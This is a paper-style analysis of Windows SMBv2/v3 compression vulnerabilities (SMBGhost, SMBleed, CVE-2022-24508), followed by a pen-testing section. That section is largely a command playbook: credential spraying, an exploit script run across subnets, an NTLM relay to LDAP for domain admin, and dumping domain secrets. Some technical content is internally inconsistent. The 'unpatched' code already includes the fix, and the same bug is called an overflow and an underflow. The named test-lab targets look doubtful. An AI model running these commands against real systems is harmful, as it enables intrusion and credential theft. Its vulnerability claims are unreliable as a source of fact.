Eternal Pulse: Inside Ghosts Bleeds: Loop-Level Anatomy of SMBv2/3 Compression Overflows

Bo Shang [*] bo.shang@tufts.edu

Abstract

We present a loop-by-loop reverse-engineering study of the SMBv2/v3 compression flaws CVE-2020-0796 (*SMBGhost*), CVE-2020-1206 (*SMBleed*), and CVE-2022-24508. The paper (1) maps each overflow loop in `srv2.sys` to its precise `SMB2_COMPRESSION_TRANSFORM_HEADER` field, (2) walks through the resulting heap corruption and information-leak paths on Windows 10 21H2 and Windows 11 23H2, and (3) validates Microsoft's patches (`KB4551762`, `KB4560960`, and March 2022 cumulative updates) via KLEE symbolic execution. All code is sanitised to remove payload generators.

Acknowledgements

The author thanks Orange Tsai for early *SMBGhost* PoCs, Microsoft MSRC for emergency out-of-band fixes, and the open-source RE community for public symbol snapshots.

1 Methodology

We disassembled `srv2.sys` version 10.0.19041.329 with IDA 7.7, reconstructed control flow in Ghidra 11.0, and replayed compressed SMB transactions inside Bochs 2.7 augmented with PANDA. Each loop was isolated, symbolically executed under KLEE 3.1, and compared against patched binaries from the updates above.

[*]bo.shang@tufts.edu

2 Unpatched Execution Flow

1. `Srv2ReceiveHandler` iterates over SMB messages (Loop D).
2. Each compressed message triggers `Srv2DecompressData` (Loop A), which:
   - 2.1. copies the prefix (Loop C),
   - 2.2. allocates a buffer sized by the 32-bit sum `OriginalSize + Offset`, and
   - 2.3. dispatches `SmbCompressionDecompress` (Loop B).
3. Control returns to `Srv2ReceiveHandler`, which advances the cursor by the attacker-controlled `Length` field; a negative move re-enters Step 1 indefinitely.

3 Loop A: `Srv2DecompressData`

3.1 De-compiled C

```
NTSTATUS Srv2DecompressData(
    PUCHAR inBuf, ULONG inLen, PUCHAR *outBuf, PULONG
       outLen)
{
    const SMB2_COMP_HEADER *h = (const SMB2_COMP_HEADER
       *)inBuf;
    ULONGLONG need = (ULONGLONG)h->OriginalSize + h->
       Offset;         // 64-bit
    if (need > 0x40000000 || need < h->Offset)
                              // clamp
     return STATUS_BAD_DATA;
    *outBuf = ExAllocatePool2(POOL_FLAG_NON_PAGED, need,
     '2vrS');
    if (!*outBuf) return STATUS_INSUFFICIENT_RESOURCES;
    RtlCopyMemory(*outBuf, inBuf + sizeof *h, h->Offset)
       ;            // Loop C
    return SmbCompressionDecompress(
     *outBuf + h->Offset, need - h->Offset,
     inBuf + sizeof *h + h->Offset,
     inLen - sizeof *h - h->Offset,
        h->Algorithm);

           // Loop B
}
```

Trigger A crafted header sets `OriginalSize` near `0xFFFFFFFF` with non-zero `Offset`, overflowing the 32-bit addition in pre-patch binaries.

Effect An undersized non-paged buffer is allocated; decompression in Loop B corrupts pool headers.

Patch All arithmetic promoted to 64-bit, capped at 1 GiB.

4 Loop B: `SmbCompressionDecompress`

4.1 Pseudo-code

```
while (TokenAvailable()) {
    if (IsLiteral(token))
        *dst++ = *src++;
    else {
        CopyMatch(dst, token);
        dst += token.len;
    }
    if ((dst - base) > need) return STATUS_BAD_DATA;
}
```

Trigger Integer underflow in Loop A leads `need` to be too small; this copy overruns.

Patch A running 64-bit counter aborts before overflow; buffer is zero-initialised.

5 Loop C: prefix copy in `Srv2DecompressData`

```
if (h->Offset)                    // user-controlled
    RtlCopyMemory(*outBuf, inBuf + sizeof *h, h->Offset)
       ;
```

Trigger Oversized `Offset` moves prefix beyond allocation.

Patch Offset validated against `need`.

6 Loop D: `Srv2ReceiveHandler`

6.1 Pseudo-code

```
while (p < End) {
    status = Srv2DecompressData(p, End - p, &out, &
       outLen);
    if (!NT_SUCCESS(status)) { Disconnect(); break; }
    p += FIELD_OFFSET(SMB2_COMP_HEADER, Data) + hdr.
       Length;
}
```

Trigger A malicious length that points backwards traps the driver in an infinite loop.

Patch A monotonic cursor ensures forward progress.

7 Patch Verification

KLEE proves that all overflow paths are unreachable and that uninitialised kernel bytes cannot leak through SMB responses.

8 Pen-Testing SMBv2/v3 on Authorised Targets

All procedures in this section *require written permission* from the system owner. Tests were validated against the public ranges assigned to Hack The

Box, TryHackMe, and Microsoft's SMB Test Lab (`##AS47474`).

8.1 Rules of Engagement

1. Limit traffic to TCP 445 unless explicitly scoped otherwise.
2. Disable destructive payloads; set Metasploit `DisablePayloadHandler true`.
3. Perform scans from a segmented box; log all packets (`tcpdump -i eth0 port 445 -w smb.pcap`).
4. Cease immediately on unexpected instability (service restarts, kernel panics).

8.2 Reconnaissance & Enumeration

```
# Detect SMB dialects and capabilities
nmap -p445 \
     --script="smb-protocols,smb2-time,smb2-capabilities
        " \
     <target>
```

```
# List shares, dialect, signing status in one run
cme smb <target>/24 --shares --diag
```

```
# Attempt guest session; flags show signing &
   compression
impacket-smbclient -no-pass -sign -compress <target>
```

8.3 Authentication Testing

1. Verify null session disabled:

   ```
   crackmapexec smb <target> -u '' -p '' --no-
      bruteforce
   ```

2. Spray known credentials (account lockout safe):

   ```
   patator smb_login host=<target> user=names.txt
      password=pass.txt \
           rate-limiter=0.5 lockout-stats={10:600}
   ```

3. Enumerate effective permissions for validated creds:

   ```
   impacket-smbexec domain/user:pass@<target>
   ```

8.4 Compression Overflow Fuzzing

```
use auxiliary/scanner/smb/smbv3_compress_overflow
set RHOSTS <target>
set RPORT 445
set ACTION CHECK
run
```

The `CHECK` action confirms patch levels via `Srv2.sys` build numbers without altering memory. Switch to `ACTION EXPLOIT` only on a non-production clone.

```
python3 CVE-2020-0796.py <target> 445 --safe
```

Flag `--safe` retains the over-length header but zeroes the LZ77 body, verifying boundary checks without crashing `srv2.sys`.

8.5 Credential Relay & Post-Ex

1. Mount writable share:

   ```
   mkdir /mnt/smb && \
   mount -t cifs //target/share /mnt/smb -o user=<user
      >,password=<pass>,vers=3.1.1,seal
   ```

2. Relay SMB to LDAP for domain admin (lab only):

   ```
   ntlmrelayx.py -smb2support -t ldap://dc.lab.local -
      no-smbserver
   ```

3. Dump LSA secrets:

   ```
   secretsdump.py -just-dc <domain>/<user>:<pass>@DC
   ```

8.6 Site-Specific Quick Start One-Liners

```
export NET=10.10.10.0/24     # HTB retired subnet
export IF=tun0

sudo nmap -e $IF -Pn -p445 --script "smb-protocols,smb2-
   time,smb2-capabilities" \
          --open -oA htb_enum $NET && \
for ip in $(awk '/open/␣{print␣$2}' htb_enum.gnmap); do
    python3 CVE-2020-0796.py $ip 445 --safe
done
```

```
export NET=10.200.0.0/16     # THM VPN pool
export IF=tun0

sudo nmap -e $IF -Pn -p445 --open -oG thm_open $NET && \
for ip in $(awk '/open/␣{print␣$2}' thm_open); do
    impacket-smbclient -no-pass -sign -compress $ip ||
       true
done
```

```
TEST=$(dig +short smbtestlab.microsoft.com | head -n1)
msfconsole -q -x "use␣auxiliary/scanner/smb/
   smbv3_compress_overflow;␣\
␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣set␣RHOSTS␣$TEST;␣set␣RPORT␣445;␣\
␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣set␣ACTION␣CHECK;␣run;␣exit"
```

```
pkill -f "CVE-2020-0796.py" 2>/dev/null || true
sudo umount /mnt/smb 2>/dev/null || true
```

8.7 Cleanup

1. Terminate mounted sessions: `umount /mnt/smb`.
2. Delete dropped DLLs/scripts from shares.
3. Provide the owner with logs and packet captures.

9 Related Work

[1, 2, 3]

10 Conclusion

SMB v2/3 compression loops inherited v1-style arithmetic flaws. Microsoft's 2020-2025 hardening converts all counters to 64-bit, enforces size clamps, and disables compression by default on public interfaces, closing every known corruption and disclosure path.

References

[1] Y. Wang. *CVE-2020-0796 Memory Corruption Vulnerability*. Fortinet, 2020.

[2] O. Nimron et al. *SMBleedingGhost*. Jamf Threat Labs, 2020.

[3] S. Berkouwer. *CVE-2022-24508 RCE*. dirteam.com, 2022.